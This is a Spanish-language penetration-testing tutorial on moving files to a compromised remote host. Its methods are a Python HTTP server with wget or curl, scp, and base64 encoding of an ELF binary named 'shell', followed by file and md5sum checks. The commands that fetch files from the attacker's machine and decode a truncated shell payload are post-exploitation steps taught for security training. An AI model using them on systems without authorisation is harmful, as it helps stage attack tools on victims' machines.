# Transferring Files

Durante cualquier prueba de penetración, es probable que necesitemos transferir archivos al servidor remoto, como scripts de enumeración o exploits, o transferir datos de vuelta a nuestro host de ataque. Si bien herramientas como Metasploit con un shell Meterpreter nos permiten usar el `Upload`comando para subir un archivo, necesitamos aprender métodos para transferir archivos con un shell inverso estándar.

## Wget:

Hay muchos métodos para lograr esto. Un método consiste en ejecutar un [servidor HTTP de Python](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/set_up_a_local_testing_server) en nuestra máquina y luego usar `wget`o `cURL`para descargar el archivo en el host remoto. Primero, accedemos al directorio que contiene el archivo que necesitamos transferir y ejecutamos un servidor HTTP de Python.

```sh
python3 -m http.server 80
```

Ahora que hemos configurado un servidor de escucha en nuestra máquina, podemos descargar el archivo en el host remoto en el que tenemos ejecución de código.

```sh
wget http://<host>:<port>/<archivo>
```

```sh
curl http://<host>:<port>/<archivo> -o <archivo de salida>
```

## SCP:

Otro método para transferir archivos sería usar `scp`, siempre que tengamos las credenciales de usuario SSH en el host remoto.

```sh
scp <ruta archivo> <user>@<host>:<ruta para guardar>
```

## Base64:

En algunos casos, es posible que no podamos transferir el archivo. Por ejemplo, el host remoto podría tener protecciones de firewall que nos impidan descargar un archivo de nuestro equipo. En este tipo de situación, podemos usar un truco sencillo para codificar el archivo en `base64` y luego pegar la `base64`cadena en el servidor remoto y decodificarla. Por ejemplo, si quisiéramos transferir un archivo binario llamado `shell`, podríamos codificarlo en  `base64`de la siguiente manera

```sh
base64 shell -w 0
```

Ahora, podemos copiar la cadena en `base64`, ir al host remoto y usarla `base64 -d`para decodificarla y canalizar la salida a un archivo.

```sh
echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shell
```

## Validación de transferencia de archivos:

Para validar el formato de un archivo, podemos ejecutar el comando [de archivo](https://linux.die.net/man/1/file) en él.

```sh
file shell
```

Como podemos ver, al ejecutar el `file`comando en el `shell`archivo, indica que es un binario ELF, lo que significa que lo transferimos correctamente. Para asegurarnos de no haber dañado el archivo durante el proceso de codificación/decodificación, podemos comprobar su hash MD5. En nuestra máquina, podemos ejecutar `md5sum.`

```sh
md5sum shell
```

Ahora, podemos ir al servidor remoto y ejecutar el mismo comando en el archivo que transferimos.

```sh
md5sum shell
```
